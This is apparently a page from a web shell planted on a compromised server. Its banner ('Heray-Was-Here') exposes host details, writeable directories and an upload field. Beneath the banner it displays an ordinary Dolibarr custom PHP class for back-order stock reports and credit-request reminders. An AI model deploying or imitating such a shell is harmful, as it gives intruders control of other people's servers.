Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/autogestion/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/autogestion/class/autogestion.class.php
<?php
	require_once DOL_DOCUMENT_ROOT.'/core/class/commonobject.class.php';
	class autogestion extends CommonObject{
		var $expe='';
		var $dest='';
		var $message='';
		var $deferred='';
		var $priority='';
		var $class='';
		var $error;
        var $timeDrift = 0;
		
		function autogestion($DB) {
		
		}

		public function Backorder_notify(  $notify = '' )
		{
			global $conf, $user ,$db, $langs;

			require_once DOL_DOCUMENT_ROOT.'/commande/class/commande.class.php';
			require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php';

			$usevirtualstock = empty($conf->global->STOCK_USE_REAL_STOCK_BY_DEFAULT_FOR_REPLENISHMENT) ? 1 : 0;
			$sqldesiredtock = 'p.desiredstock';
			$sqlalertstock = 'p.seuil_stock_alerte';

			$sql = 'SELECT c.rowid as fk_commande,  c.fk_soc, cd.fk_product, cd.qty, p.rowid, p.ref, p.label, p.description, p.price,';
			$sql .= ' p.price_ttc, p.price_base_type, p.fk_product_type,';
			$sql .= ' p.tms as datem, p.duration, p.tobuy,';
			$sql .= ' p.desiredstock, p.seuil_stock_alerte,';
			$sql .= " ".$sqldesiredtock." as desiredstockcombined, ".$sqlalertstock." as seuil_stock_alertecombined,";
			$sql .= ' s.fk_product,';
			$sql .= " SUM(".$db->ifsql("s.reel IS NULL", "0", "s.reel").') as stock_physique';
			$sql .= ' FROM '.MAIN_DB_PREFIX.'commande as c';
			$sql .= ' INNER JOIN '.MAIN_DB_PREFIX.'commandedet as cd ON c.rowid = cd.fk_commande';
			$sql .= ' INNER JOIN '.MAIN_DB_PREFIX.'product as p ON cd.fk_product = p.rowid';
			$sql .= ' LEFT JOIN '.MAIN_DB_PREFIX.'product_stock as s ON p.rowid = s.fk_product';
			$sql .= ' WHERE p.entity IN ('.getEntity('product').')';
			$sql .= ' AND c.fk_statut = 1 ';
			$sql .= ' AND p.tobuy = 1';
			$sql .= ' GROUP BY cd.rowid, cd.fk_product, p.ref, p.label, p.description, p.price';
			$sql .= ', p.price_ttc, p.price_base_type,p.fk_product_type, p.tms';
			$sql .= ', p.duration, p.tobuy';
			$sql .= ', p.desiredstock';
			$sql .= ', p.seuil_stock_alerte';
			$sql .= ', s.fk_product';

			if ($usevirtualstock) {
				if (!empty($conf->commande->enabled)) {
					$sqlCommandesCli = "(SELECT ".$db->ifsql("SUM(cd1.qty) IS NULL", "0", "SUM(cd1.qty)")." as qty"; // We need the ifsql because if result is 0 for product p.rowid, we must return 0 and not NULL
					$sqlCommandesCli .= " FROM ".MAIN_DB_PREFIX."commandedet as cd1, ".MAIN_DB_PREFIX."commande as c1";
					$sqlCommandesCli .= " WHERE c1.rowid = cd1.fk_commande AND c1.entity IN (".getEntity(!empty($conf->global->STOCK_CALCULATE_VIRTUAL_STOCK_TRANSVERSE_MODE) ? 'stock' : 'commande').")";
					$sqlCommandesCli .= " AND cd1.fk_product = p.rowid";
					$sqlCommandesCli .= " AND c1.fk_statut IN (1,2))";
				} else {
					$sqlCommandesCli = '0';
				}

				if (!empty($conf->expedition->enabled)) {
					$sqlExpeditionsCli = "(SELECT ".$db->ifsql("SUM(ed2.qty) IS NULL", "0", "SUM(ed2.qty)")." as qty"; // We need the ifsql because if result is 0 for product p.rowid, we must return 0 and not NULL
					$sqlExpeditionsCli .= " FROM ".MAIN_DB_PREFIX."expedition as e2,";
					$sqlExpeditionsCli .= " ".MAIN_DB_PREFIX."expeditiondet as ed2,";
							$sqlExpeditionsCli .= " ".MAIN_DB_PREFIX."commande as c2,";
					$sqlExpeditionsCli .= " ".MAIN_DB_PREFIX."commandedet as cd2";
					$sqlExpeditionsCli .= " WHERE ed2.fk_expedition = e2.rowid AND cd2.rowid = ed2.fk_origin_line AND e2.entity IN (".getEntity(!empty($conf->global->STOCK_CALCULATE_VIRTUAL_STOCK_TRANSVERSE_MODE) ? 'stock' : 'expedition').")";
							$sqlExpeditionsCli .= " AND cd2.fk_commande = c2.rowid";
							$sqlExpeditionsCli .= " AND c2.fk_statut IN (1,2)";
					$sqlExpeditionsCli .= " AND cd2.fk_product = p.rowid";
					$sqlExpeditionsCli .= " AND e2.fk_statut IN (1,2))";
				} else {
					$sqlExpeditionsCli = '0';
				}

				if ((!empty($conf->fournisseur->enabled) && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) || !empty($conf->supplier_order->enabled)) {
					$sqlCommandesFourn = "(SELECT ".$db->ifsql("SUM(cd3.qty) IS NULL", "0", "SUM(cd3.qty)")." as qty"; // We need the ifsql because if result is 0 for product p.rowid, we must return 0 and not NULL
					$sqlCommandesFourn .= " FROM ".MAIN_DB_PREFIX."commande_fournisseurdet as cd3,";
					$sqlCommandesFourn .= " ".MAIN_DB_PREFIX."commande_fournisseur as c3";
					$sqlCommandesFourn .= " WHERE c3.rowid = cd3.fk_commande";
					$sqlCommandesFourn .= " AND c3.entity IN (".getEntity(!empty($conf->global->STOCK_CALCULATE_VIRTUAL_STOCK_TRANSVERSE_MODE) ? 'stock' : 'supplier_order').")";
					$sqlCommandesFourn .= " AND cd3.fk_product = p.rowid";
					$sqlCommandesFourn .= " AND c3.fk_statut IN (3,4))";

					$sqlReceptionFourn = "(SELECT ".$db->ifsql("SUM(fd4.qty) IS NULL", "0", "SUM(fd4.qty)")." as qty"; // We need the ifsql because if result is 0 for product p.rowid, we must return 0 and not NULL
					$sqlReceptionFourn .= " FROM ".MAIN_DB_PREFIX."commande_fournisseur as cf4,";
					$sqlReceptionFourn .= " ".MAIN_DB_PREFIX."commande_fournisseur_dispatch as fd4";
					$sqlReceptionFourn .= " WHERE fd4.fk_commande = cf4.rowid AND cf4.entity IN (".getEntity(!empty($conf->global->STOCK_CALCULATE_VIRTUAL_STOCK_TRANSVERSE_MODE) ? 'stock' : 'supplier_order').")";
					$sqlReceptionFourn .= " AND fd4.fk_product = p.rowid";
					$sqlReceptionFourn .= " AND cf4.fk_statut IN (3,4))";
				} else {
					$sqlCommandesFourn = '0';
					$sqlReceptionFourn = '0';
				}

				if (!empty($conf->mrp->enabled)) {
					$sqlProductionToConsume = "(SELECT GREATEST(0, ".$db->ifsql("SUM(".$db->ifsql("mp5.role = 'toconsume'", 'mp5.qty', '- mp5.qty').") IS NULL", "0", "SUM(".$db->ifsql("mp5.role = 'toconsume'", 'mp5.qty', '- mp5.qty').")").") as qty"; // We need the ifsql because if result is 0 for product p.rowid, we must return 0 and not NULL
					$sqlProductionToConsume .= " FROM ".MAIN_DB_PREFIX."mrp_mo as mm5,";
					$sqlProductionToConsume .= " ".MAIN_DB_PREFIX."mrp_production as mp5";
					$sqlProductionToConsume .= " WHERE mm5.rowid = mp5.fk_mo AND mm5.entity IN (".getEntity(!empty($conf->global->STOCK_CALCULATE_VIRTUAL_STOCK_TRANSVERSE_MODE) ? 'stock' : 'mo').")";
					$sqlProductionToConsume .= " AND mp5.fk_product = p.rowid";
					$sqlProductionToConsume .= " AND mp5.role IN ('toconsume', 'consummed')";
					$sqlProductionToConsume .= " AND mm5.status IN (1,2))";

					$sqlProductionToProduce = "(SELECT GREATEST(0, ".$db->ifsql("SUM(".$db->ifsql("mp5.role = 'toproduce'", 'mp5.qty', '- mp5.qty').") IS NULL", "0", "SUM(".$db->ifsql("mp5.role = 'toconsume'", 'mp5.qty', '- mp5.qty').")").") as qty"; // We need the ifsql because if result is 0 for product p.rowid, we must return 0 and not NULL
					$sqlProductionToProduce .= " FROM ".MAIN_DB_PREFIX."mrp_mo as mm5,";
					$sqlProductionToProduce .= " ".MAIN_DB_PREFIX."mrp_production as mp5";
					$sqlProductionToProduce .= " WHERE mm5.rowid = mp5.fk_mo AND mm5.entity IN (".getEntity(!empty($conf->global->STOCK_CALCULATE_VIRTUAL_STOCK_TRANSVERSE_MODE) ? 'stock' : 'mo').")";
					$sqlProductionToProduce .= " AND mp5.fk_product = p.rowid";
					$sqlProductionToProduce .= " AND mp5.role IN ('toproduce', 'produced')";
					$sqlProductionToProduce .= " AND mm5.status IN (1,2))";
				} else {
					$sqlProductionToConsume = '0';
					$sqlProductionToProduce = '0';
				}

				$sql .= ' HAVING cd.qty > SUM(s.reel) AND  (';
				$sql .= " (".$sqldesiredtock." >= 0 AND (".$sqldesiredtock." > SUM(".$db->ifsql("s.reel IS NULL", "0", "s.reel").')';
				$sql .= " - (".$sqlCommandesCli." - ".$sqlExpeditionsCli.") + (".$sqlCommandesFourn." - ".$sqlReceptionFourn.") + (".$sqlProductionToProduce." - ".$sqlProductionToConsume.")))";
				$sql .= ' OR';
				if ($includeproductswithoutdesiredqty == 'on') {
					$sql .= " ((".$sqlalertstock." >= 0 OR ".$sqlalertstock." IS NULL) AND (".$db->ifsql($sqlalertstock." IS NULL", "0", $sqlalertstock)." > SUM(".$db->ifsql("s.reel IS NULL", "0", "s.reel").")";
				} else {
					$sql .= " (".$sqlalertstock." >= 0 AND (".$sqlalertstock." > SUM(".$db->ifsql("s.reel IS NULL", "0", "s.reel").')';
				}
				$sql .= " - (".$sqlCommandesCli." - ".$sqlExpeditionsCli.") + (".$sqlCommandesFourn." - ".$sqlReceptionFourn.") + (".$sqlProductionToProduce." - ".$sqlProductionToConsume.")))";
				$sql .= ")";
			} else {
				$sql .= ' HAVING (';
				$sql .= "(".$sqldesiredtock." >= 0 AND (".$sqldesiredtock." > SUM(".$db->ifsql("s.reel IS NULL", "0", "s.reel").")))";
				$sql .= ' OR';
				if ($includeproductswithoutdesiredqty == 'on') {
					$sql .= " ((".$sqlalertstock." >= 0 OR ".$sqlalertstock." IS NULL) AND (".$db->ifsql($sqlalertstock." IS NULL", "0", $sqlalertstock)." > SUM(".$db->ifsql("s.reel IS NULL", "0", "s.reel").')))';
				} else {
					$sql .= " (".$sqlalertstock." >= 0 AND (".$sqlalertstock." > SUM(".$db->ifsql("s.reel IS NULL", "0", "s.reel").')))';
				}
				$sql .= ')';
			}
			$sql .= $db->order(' c.fk_soc','ASC');

			$resql = $db->query($sql);
			if (empty($resql)) {
				dol_print_error($db);
				exit;
			}

			$num = $db->num_rows($resql);
			$i = 0;

			$prod = new Product($db);
			$staticorder = new Commande($db);
			
			$rep = '<span class="opacitymedium">Este es un listado de todos los productos con compromisos mediante pedidos validados.</span>';
			$rep .= '<table border=1 class="liste centpercent">';
			// Lines of title
			$rep .=  '<tr class="liste_titre">';
			$rep .= '<td class="nowrap">Pedido</td>';
			$rep .= '<td class="nowrap">Ref</td>';
			$rep .= '<td class="nowrap">Descripcion</td>';
			$rep .= '<td class="nowrap">Stock Deseado</td>';
			$rep .= '<td class="nowrap">Stock Limite corto</td>';
			$rep .= '<td class="nowrap">'.$langs->trans('VirtualStock').'</td>';
			$rep .= '<td class="nowrap">En Pedidos</td>';
			$rep .= '<td class="nowrap">Stock Requerido</td>';
			$rep .= '<td class="nowrap">Comprometido</td>';
			$rep .= "</tr>\n";

			while ($i < $num) {
				$objp = $db->fetch_object($resql);
			
				if (!empty($conf->global->STOCK_SUPPORTS_SERVICES) || $objp->fk_product_type == 0) {
					$result = $prod->fetch($objp->rowid);
					if ($result < 0) {
						dol_print_error($db);
						exit;
					}

					$prod->load_stock('warehouseopen, warehouseinternal'.(!$usevirtualstock?', novirtual':''), $draftchecked);
					$stock = $prod->stock_theorique;

					// Force call prod->load_stats_xxx to choose status to count (otherwise it is loaded by load_stock function)
					if (isset($draftchecked)) {
						$result = $prod->load_stats_commande_fournisseur(0, '0,1,2,3,4');
					} elseif (!$usevirtualstock) {
						$result = $prod->load_stats_commande_fournisseur(0, '1,2,3,4');
					}
			
					if (!$usevirtualstock) {
						$result = $prod->load_stats_reception(0, '4');
					}

					//print $prod->stats_commande_fournisseur['qty'].'<br>'."\n";
					//print $prod->stats_reception['qty'];
					$ordered = $prod->stats_commande_fournisseur['qty'] - $prod->stats_reception['qty'];

					$desiredstock = $objp->desiredstock;
					$alertstock = $objp->seuil_stock_alerte;
					$desiredstockwarehouse = ($objp->desiredstockpse ? $objp->desiredstockpse : 0);
					$alertstockwarehouse = ($objp->seuil_stock_alertepse ? $objp->seuil_stock_alertepse : 0);

					$warning = '';
					if ($alertstock && ($stock < $alertstock)) {
						$warning = img_warning($langs->trans('StockTooLow')).' ';
					}
					$warningwarehouse = '';
					if ($alertstockwarehouse && ($stockwarehouse < $alertstockwarehouse)) {
						$warningwarehouse = img_warning($langs->trans('StockTooLow')).' ';
					}

					//depending on conf, use either physical stock or
					//virtual stock to compute the stock to buy value

					if (empty($usevirtualstock)) {
						$stocktobuy = max(max($desiredstock, $alertstock) - $stock - $ordered, 0);
					} else {
						$stocktobuy = max(max($desiredstock, $alertstock) - $stock, 0); //ordered is already in $stock in virtual mode
					}
					if (empty($usevirtualstock)) {
						$stocktobuywarehouse = max(max($desiredstockwarehouse, $alertstockwarehouse) - $stockwarehouse - $ordered, 0);
					} else {
						$stocktobuywarehouse = max(max($desiredstockwarehouse, $alertstockwarehouse) - $stockwarehouse, 0); //ordered is already in $stock in virtual mode
					}

					$picto = '';
					if ($ordered > 0) {
						$stockforcompare = ($usevirtualstock ? $stock : $stock + $ordered);
						/*if ($stockforcompare >= $desiredstock)
						{
							$picto = img_picto('', 'help');
						} else {
							$picto = img_picto('', 'help');
						}*/
					} else {
						$picto = img_picto($langs->trans("NoPendingReceptionOnSupplierOrder"), 'help');
					}

					$rep .= '<tr class="oddeven">';

					// Select field
					$staticorder->fetch( $objp->fk_commande);
					$rep .= '<td class="right"><a href="'. 'https://'.$_SERVER['SERVER_NAME'].'/commande/card.php?id='.$objp->fk_commande.'">'.$staticorder->ref.'</a></td>';
					$rep .= '<td class="right"><a href="'. 'https://'.$_SERVER['SERVER_NAME'].'/product/stock/product.php?id='.$objp->rowid.'">'.$prod->ref.'</a></td>';

					$rep .= '<td>'.$objp->label;
					$rep .= '<input type="hidden" name="desc'.$i.'" value="'.dol_escape_htmltag($objp->description).'">'; // TODO Remove this and make a fetch to get description when creating order instead of a GETPOST
					$rep .= '</td>';

					if (!empty($conf->service->enabled) && $type == 1) {
						$regs = array();
						if (preg_match('/([0-9]+)y/i', $objp->duration, $regs)) {
							$duration = $regs[1].' '.$langs->trans('DurationYear');
						} elseif (preg_match('/([0-9]+)m/i', $objp->duration, $regs)) {
							$duration = $regs[1].' '.$langs->trans('DurationMonth');
						} elseif (preg_match('/([0-9]+)d/i', $objp->duration, $regs)) {
							$duration = $regs[1].' '.$langs->trans('DurationDay');
						} else {
							$duration = $objp->duration;
						}
						$rep .= '<td class="center">'.$duration.'</td>';
					}

					// Desired stock
					$rep .= '<td class="right">'.($fk_entrepot > 0 ? $desiredstockwarehouse : $desiredstock).'</td>';

					// Limit stock for alert
					$rep .= '<td class="right">'.($fk_entrepot > 0 ? $alertstockwarehouse : $alertstock).'</td>';

					// Current stock (all warehouses)
					$rep .= '<td class="right">'.$warning.$stock;
					$rep .= '<!-- stock returned by main sql is '.$objp->stock_physique.' -->';
					$rep .= '</td>';

					// Current stock (warehouse selected only)
					if (!empty($conf->global->STOCK_ALLOW_ADD_LIMIT_STOCK_BY_WAREHOUSE) && $fk_entrepot > 0) {
						$rep .= '<td class="right">'.$warningwarehouse.$stockwarehouse.'</td>';
					}

					// Already ordered
					$rep .= '<td class="right"><a href="'. 'https://'.$_SERVER['SERVER_NAME'].'/product/stock/replenishorders.php?search_product='.$prod->id.'">'.$ordered.'</a> '.$picto.'</td>';

					// To order
					$rep .= '<td class="right"><input type="text" size="8" name="tobuy'.$i.'" value="'. $stocktobuy .'"></td>';
					// To Comprometido
					$rep .= '<td class="right"><input type="text" size="8" name="qty'.$i.'" value="'.  $objp->qty .'"></td>';

					$rep .= '</tr>';
				}
				$i++;
			}
			$rep .= '</table>';
			$rep .= '</div>';

			require_once DOL_DOCUMENT_ROOT.'/core/class/html.formmail.class.php';
			require_once DOL_DOCUMENT_ROOT.'/core/class/CMailFile.class.php';
			$formmail = new FormMail($db);

			// Errors Recipient
			$errors_to = $conf->global->MAIN_MAIL_ERRORS_TO;
			$from = $conf->global->MAIN_MAIL_EMAIL_FROM;
			$sendTopic = 'Listado de Pedidos en back Order';

			if (!empty($notify) && ($i >0)) {
				$sendContent = $rep;
				// Mail Creation
				$cMailFile = new CMailFile($sendTopic, $notify, $from, $sendContent, array(), array(), array(), '', "", 0, 1, $errors_to, '', '', '', '', '');
				// Sending Mail
				$cMailFile->sendfile();
			}

			$db->free($resql);
			return 0;
		}

		public function RequestAutorization_notify(  $notify = '' )
		{
			global $conf, $user ,$db, $langs;

			require_once DOL_DOCUMENT_ROOT.'/commande/class/commande.class.php';
			require_once DOL_DOCUMENT_ROOT.'/comm/action/class/actioncomm.class.php';

			$sql = 'SELECT c.rowid as fk_commande';
			$sql .= ' FROM '.MAIN_DB_PREFIX.'commande as c';
			$sql .= ' WHERE  c.fk_statut = 0 ';
			$sql .= ' AND c.fk_mode_reglement = 6';

			$resql = $db->query($sql);
			if (empty($resql)) {
				dol_print_error($db);
				exit;
			}

			$num = $db->num_rows($resql);
			$i = 0;

			$staticorder = new Commande($db);

			while ($i < $num) {
				$objp = $db->fetch_object($resql);
				$staticorder->fetch( $objp->fk_commande);
				
				$staticorder->fetch_thirdparty();
				$srccontactslist = $staticorder->liste_contact(-1, 'external', 1,'CUSTOMER');

				if ($staticorder->mode_reglement_id == 6 && $staticorder->statut <= Commande::STATUS_DRAFT  &&  !empty($srccontactslist) ){

					$db->begin();
					$contact = $srccontactslist[0];
					$event = new ActionComm($db);
					$event->priority = 100;
					$event->fulldayevent = 0;
					$event->location = 'Oficina';
					$event->label = 'Solicitud de Credito Pedido N.'.$staticorder->id;
					$event->datep = dol_now();
					$event->datef = dol_now();
					$event->percentage = 0;
					$event->userownerid = $user->id;
					$event->type_id = $conf->global->TYPE_ACTION_FOR_AUTORIZATION ;
					
					//Gerencia

					$sql="SELECT rowid FROM ".MAIN_DB_PREFIX."user 
					WHERE entity=".$conf->entity." and fK_soc = ".$staticorder->thirdparty->id." and statut = 1";
					
					$rqs=$db->query($sql);

					while ($usasoc = $db->fetch_object($rqs) ){
						$event->userassigned[$usasoc->rowid] = array('id'=>$usasoc->rowid, 'transparency'=>1);
					}
					$event->note_private ='Solicitud de Credito Pedido N.'.$staticorder->id;
					$event->contact = $contact;
					$event->socid = $staticorder->socid;
					$event->fetch_thirdparty($staticorder->socid);

					$event->societe = $staticorder->socid; 
					$event->fk_element = $staticorder->id;
					$event->elementtype = $staticorder->element;
					$idaction = $event->create($user);

					if ($idaction > 0) {
						require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php';
						$actionCommReminder = new ActionCommReminder($db);

						$dateremind = dol_time_plus_duree($staticorder->date, 0, 'd');

						$actionCommReminder->dateremind = $dateremind;
						$actionCommReminder->typeremind ='browser';
						$actionCommReminder->offsetunit = 'i';
						$actionCommReminder->offsetvalue = 1;
						$actionCommReminder->status = $actionCommReminder::STATUS_TODO;
						$actionCommReminder->fk_actioncomm = $event->id;
						if ($remindertype == 'email') {
							$actionCommReminder->fk_email_template = $langs->trans('DefaultMailModel');
						}

						// the notification must be created for every user assigned to the event
						foreach ($event->userassigned as $userassigned) {
							$actionCommReminder->fk_user = $userassigned['id'];
							$res = $actionCommReminder->create($user);

							if ($res <= 0) {
								// If error
								$db->rollback();
								$langs->load("errors");
								$error = $langs->trans('ErrorReminderActionCommCreation');
								setEventMessages($error, null, 'errors');
								$action = 'create'; $donotclearsession = 1;
								break;
							}
						}

						$actionCommReminder = new ActionCommReminder($db);

						$dateremind = dol_time_plus_duree($staticorder->date, 0 ,'d');

						$actionCommReminder->dateremind = $dateremind;
						$actionCommReminder->typeremind ='email';
						$actionCommReminder->offsetunit = 'i';
						$actionCommReminder->offsetvalue = 1;
						$actionCommReminder->status = $actionCommReminder::STATUS_TODO;
						$actionCommReminder->fk_actioncomm = $event->id;
						if ($remindertype == 'email') {
							$actionCommReminder->fk_email_template = $langs->trans('DefaultMailModel');
						}

						// the notification must be created for every user assigned to the event
						foreach ($event->userassigned as $userassigned) {
							$actionCommReminder->fk_user = $userassigned['id'];
							$res = $actionCommReminder->create($user);

							if ($res <= 0) {
								// If error
								$db->rollback();
								$langs->load("errors");
								$error = $langs->trans('ErrorReminderActionCommCreation');
								setEventMessages($error, null, 'errors');
								$action = 'create'; $donotclearsession = 1;
								break;
							}
						}
					}else{
						//echo '<pre>';var_dump($accountingLinesObj);echo '</pre>';
						setEventMessages('Error al crear la notificacion '. $langs->trans($event->error) , null, 'errors');
						return -1;
					}
					if ($error) {
						$db->rollback();
					} else {
						$db->commit();
					}
				}

				$i++;
			}

			$db->free($resql);
			return 0;
		}
	}
?>

Hry